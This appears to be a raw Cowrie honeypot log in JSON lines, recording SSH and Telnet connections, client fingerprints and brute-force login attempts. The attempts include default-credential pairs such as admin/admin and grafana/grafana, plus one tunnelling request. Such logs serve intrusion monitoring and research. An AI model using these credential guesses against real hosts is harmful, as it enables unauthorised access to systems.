{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:67:04:7f:44:99:7f:db:79:6f:d0:de:31:d0:72:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAUKc6UnNzOCGDiwK629LtHRwwAxRwAWHGjblUciRkqB7I6Rk3huEindCWn9iAyV7lNOWTPEDxU5m2/va+zF6czh0jefBbBUrUoPtiQ4OI5KypYeQEacvhgevkTJfX6eQIkvXyWY1bU/hNzNAv8u3oswqjSQJx6yHj7Nll39k+DCCeVyxHZXZehAls3v75ST0njbWpcsDIZJ9Y0kXMIOqPvC2cyn+DmAB1cHwGhot0WJmDQsApyLteo+mjragsDHh99lH7meluwpKV1L0wwaQl+TDVludLFIeDxSUgZU+rXKSdOTQS+wUu2V3HlNTjTXXF2iUdsIZlHpDpifkLqmWBOAP+9s4cPEPgWYHSn9rCJtOkIyNc1R6r3LPEchKknoFLbXD1D1Gk0XWDbygNlDRZI0/41FgLk4RU2JUTJzpzX3ZHmyLgL0/ItHq6i+0p3xi2+odyY9HiY89lYIvSQdY1WeS8WPwZqh/WSKOyIoq8xr6k0u8VloYcxU5dMttP7S+XTtthvaCxCWImrQFZL25vtVaC2oeYB30XO3nDzZvQ3kwht6a0wB1VK7vv9oSf1Hj1jr3KAtPH1D/LIkLNY20KnDTj+whsJunMaiqxXDs7xtzZik7ofIiV3iDUlQwIB8K6Bh2Di2tV3vrbS89q6QR4NkWJ6WIa2KdeCCIO11tCEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:20.315441Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:20:bd:db:71:c3:08:d0:59:00:29:45:83:e7:30:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEppIk16Lk2YLSmMWcCQr7z1F6wG1cjmdwsYswvnY7d03FGVGQO8ky9f+7esfMti6cvbXCUfN0anvDAk3CyYJ64xQ/WtBx1biOn3AhXTHUlxDjbXnsDSNGch68Xh2EWNLBo9QcD5oy88ORt3WI/EYJ6+KPB3nqgimKq5bbX6ulxicpRG/G23mJvOk52ejZOjtmIU06fcXropI4jIbrJ4wcMBBT5R4wLj7rbOk/cLyNQ1a+b5IFfZn2XCf9hHi8xn4qPj20z7y6nf9R7Fc8ErUG6sgHCIeDWwDNq73Mm/pU9uGoGEV6WiagDzVLK+pOi+/Jy/5fN+c/9SPTp62C1DJbjclVIBq28CtLDagg8DOmc4RrgTYLIvRNL9M6fmnxseifFSKNRvR0O40sM/kXgmOrenQRLVl7P5TaguoBgbqAv/NMLZ2ixS1B1PMduP6i53yq1BmHDLnclEP69aU5srhV/zWS3rmYRgWjrrnLZtzs2kjHyHGRbnBIkUjYJUPOduoe+t+zFFTyt//5kjczCi20/TOS6EOGzBQicEeonibk2mAClYxrmwZC3c7Kd2UaGQhvGulhBHI6mHJMF4DoJao1+DsEtt0wMi9K63Pk7t5RMpfc1GlanajlDOBxJmQKpDTAx/8aFb/326mzILkbXLbqrxdvhOi3POb09ohTULi1HQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:20:bd:db:71:c3:08:d0:59:00:29:45:83:e7:30:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:20.438536Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:20:bd:db:71:c3:08:d0:59:00:29:45:83:e7:30:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEppIk16Lk2YLSmMWcCQr7z1F6wG1cjmdwsYswvnY7d03FGVGQO8ky9f+7esfMti6cvbXCUfN0anvDAk3CyYJ64xQ/WtBx1biOn3AhXTHUlxDjbXnsDSNGch68Xh2EWNLBo9QcD5oy88ORt3WI/EYJ6+KPB3nqgimKq5bbX6ulxicpRG/G23mJvOk52ejZOjtmIU06fcXropI4jIbrJ4wcMBBT5R4wLj7rbOk/cLyNQ1a+b5IFfZn2XCf9hHi8xn4qPj20z7y6nf9R7Fc8ErUG6sgHCIeDWwDNq73Mm/pU9uGoGEV6WiagDzVLK+pOi+/Jy/5fN+c/9SPTp62C1DJbjclVIBq28CtLDagg8DOmc4RrgTYLIvRNL9M6fmnxseifFSKNRvR0O40sM/kXgmOrenQRLVl7P5TaguoBgbqAv/NMLZ2ixS1B1PMduP6i53yq1BmHDLnclEP69aU5srhV/zWS3rmYRgWjrrnLZtzs2kjHyHGRbnBIkUjYJUPOduoe+t+zFFTyt//5kjczCi20/TOS6EOGzBQicEeonibk2mAClYxrmwZC3c7Kd2UaGQhvGulhBHI6mHJMF4DoJao1+DsEtt0wMi9K63Pk7t5RMpfc1GlanajlDOBxJmQKpDTAx/8aFb/326mzILkbXLbqrxdvhOi3POb09ohTULi1HQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:20.442530Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:5e:73:fc:5e:4f:3c:5c:77:6a:4e:47:13:da:7c:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDby8Ot4Q6zCKV+uQRDV3pA9NixnfeoNlwfwAAyIsQmDyKbuqYK165znK+Rqc/p7tqoZya+84E3DF0QLA10YrhWmHKNK+1CzZ2/1WwrLBPMTnLNjVQjU8lP0mLea3BGw767n1jEKLltdBwWF2lV6D7/zEpcTQUaakKrL+Kq/zzTSySKbdU5uzHcVUR/GT2MO0d/tc7ntU8U0thjCnHC/Qiu/OBvIjfsVKpBQtSkmsZW0d2T9sO3t19XfbTkm4rKmVsg1FxLTWHXUdXF/OcwV1XohoYMLg6MTbj7ONdvIhDQo4BUkiYRJkdKlNlF6SFz1T1OvUwmfZmnbjg/JkPZ7TSx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:5e:73:fc:5e:4f:3c:5c:77:6a:4e:47:13:da:7c:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:20.565290Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:5e:73:fc:5e:4f:3c:5c:77:6a:4e:47:13:da:7c:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDby8Ot4Q6zCKV+uQRDV3pA9NixnfeoNlwfwAAyIsQmDyKbuqYK165znK+Rqc/p7tqoZya+84E3DF0QLA10YrhWmHKNK+1CzZ2/1WwrLBPMTnLNjVQjU8lP0mLea3BGw767n1jEKLltdBwWF2lV6D7/zEpcTQUaakKrL+Kq/zzTSySKbdU5uzHcVUR/GT2MO0d/tc7ntU8U0thjCnHC/Qiu/OBvIjfsVKpBQtSkmsZW0d2T9sO3t19XfbTkm4rKmVsg1FxLTWHXUdXF/OcwV1XohoYMLg6MTbj7ONdvIhDQo4BUkiYRJkdKlNlF6SFz1T1OvUwmfZmnbjg/JkPZ7TSx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:20.569542Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:20.692835Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.50.178.151","src_port":55998,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bfa13c0c365","protocol":"telnet","message":"New connection: 179.50.178.151:55998 (10.17.0.5:23) [session: 5bfa13c0c365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:24.470217Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":57058,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d7343c3e03b","protocol":"ssh","message":"New connection: 58.186.20.143:57058 (10.17.0.5:22) [session: 5d7343c3e03b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:32.332482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:32.337170Z","src_ip":"58.186.20.143","session":"5d7343c3e03b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:32.582819Z","src_ip":"58.186.20.143","session":"5d7343c3e03b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"asdf","message":"login attempt [hadoop/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:33.599561Z","src_ip":"58.186.20.143","session":"5d7343c3e03b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:34.849184Z","src_ip":"58.186.20.143","session":"5d7343c3e03b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.191944599151611,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:37.662053Z","src_ip":"179.50.178.151","session":"5bfa13c0c365","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51472,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4a4606c974e","protocol":"ssh","message":"New connection: 87.251.64.176:51472 (10.17.0.5:22) [session: d4a4606c974e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:08.691746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:08.697251Z","src_ip":"87.251.64.176","session":"d4a4606c974e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:08.795449Z","src_ip":"87.251.64.176","session":"d4a4606c974e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:09.087864Z","src_ip":"87.251.64.176","session":"d4a4606c974e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:09.185698Z","session":"d4a4606c974e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:09.283573Z","src_ip":"87.251.64.176","session":"d4a4606c974e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:09.381925Z","src_ip":"87.251.64.176","session":"d4a4606c974e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.215.97.201","src_port":42736,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bd180bfd06f","protocol":"telnet","message":"New connection: 82.215.97.201:42736 (159.203.135.109:23) [session: 6bd180bfd06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:15.395601Z"}
{"eventid":"cowrie.session.closed","duration":13.255270719528198,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:28.650759Z","src_ip":"82.215.97.201","session":"6bd180bfd06f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48488,"dst_ip":"10.17.0.5","dst_port":22,"session":"49d9bc73ae12","protocol":"ssh","message":"New connection: 80.94.92.186:48488 (10.17.0.5:22) [session: 49d9bc73ae12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:34.202049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:34.363102Z","src_ip":"80.94.92.186","session":"49d9bc73ae12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:34.366049Z","src_ip":"80.94.92.186","session":"49d9bc73ae12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.62.250","src_port":30350,"dst_ip":"10.17.0.5","dst_port":22,"session":"29b40d883b9c","protocol":"ssh","message":"New connection: 199.127.62.250:30350 (10.17.0.5:22) [session: 29b40d883b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:35.873595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:35.878406Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:35.940802Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grafana","password":"grafana","message":"login attempt [grafana/grafana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.017903Z","src_ip":"80.94.92.186","session":"49d9bc73ae12","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:df:a8:01:c3:75:20:32:4d:01:80:36:dd:ed:fe:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8INqqGKqsyzcc5WDwfCui5Qck18wmMzptGS7/cjfePbsFPKwUBFBXWzKx+VtVuAsUFf1WZh4agD65wkzaRqYAhtXYl3U5OWVFN3Lpe14sNi+cl9IZsJ4qZsk79IbAGrTc+W98zVhHbj1sBLTgrgdWyIP6ZkkhMECHLs1YnLTHgkMrSgLvIkqjGKwt+QkX3GKf0KF7QjTd/GbOu3DQ75jEbSO1evl+Zv8lu4lJi0a7acebNvlZu0uwuyL7mgCfbPrkbHyNsN8uN2njMzSBfd9a5cMOsdUlCTvSY3cbFbYQaM2KRpuiUTrSZUrkPL8AdR1GAT6unQYGAEU0H0hIE1W1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:df:a8:01:c3:75:20:32:4d:01:80:36:dd:ed:fe:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.216024Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:df:a8:01:c3:75:20:32:4d:01:80:36:dd:ed:fe:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8INqqGKqsyzcc5WDwfCui5Qck18wmMzptGS7/cjfePbsFPKwUBFBXWzKx+VtVuAsUFf1WZh4agD65wkzaRqYAhtXYl3U5OWVFN3Lpe14sNi+cl9IZsJ4qZsk79IbAGrTc+W98zVhHbj1sBLTgrgdWyIP6ZkkhMECHLs1YnLTHgkMrSgLvIkqjGKwt+QkX3GKf0KF7QjTd/GbOu3DQ75jEbSO1evl+Zv8lu4lJi0a7acebNvlZu0uwuyL7mgCfbPrkbHyNsN8uN2njMzSBfd9a5cMOsdUlCTvSY3cbFbYQaM2KRpuiUTrSZUrkPL8AdR1GAT6unQYGAEU0H0hIE1W1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.219420Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:ac:a8:2a:80:7b:02:36:4a:4c:f1:20:45:55:ef:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDierMGrJlEDi+sjoIX362y51D2KNSV5ffbaSIFoC6dfYfND3eLWKpfdxn+mj8tLNg0WEjnuL2WFdab4ie4hFcIvRSg77y1Dws0JSMcLR4n2Mp9W7YX6DOQIvG8LHDmynM8cdrXSlXvZQ5SoDMKx2l1F7XUwDo3s55ihlapm+UVLWOop7fAIAqdAg12XK8h/PzWwQx9wasU3XIB03wJHeJ8Mndok/p3xp829Tl1X5Coc2079s7symbltFGjf0JTxWqDb2JZ5KYGhUQawiMmI8sjnSPiTTi/cAOYZA3WEYJ1SLyoClapXoLcTY2tj09lOWFx6UWLtw8g1hUVcL0Rktt7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:ac:a8:2a:80:7b:02:36:4a:4c:f1:20:45:55:ef:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.279031Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:ac:a8:2a:80:7b:02:36:4a:4c:f1:20:45:55:ef:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDierMGrJlEDi+sjoIX362y51D2KNSV5ffbaSIFoC6dfYfND3eLWKpfdxn+mj8tLNg0WEjnuL2WFdab4ie4hFcIvRSg77y1Dws0JSMcLR4n2Mp9W7YX6DOQIvG8LHDmynM8cdrXSlXvZQ5SoDMKx2l1F7XUwDo3s55ihlapm+UVLWOop7fAIAqdAg12XK8h/PzWwQx9wasU3XIB03wJHeJ8Mndok/p3xp829Tl1X5Coc2079s7symbltFGjf0JTxWqDb2JZ5KYGhUQawiMmI8sjnSPiTTi/cAOYZA3WEYJ1SLyoClapXoLcTY2tj09lOWFx6UWLtw8g1hUVcL0Rktt7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.283885Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
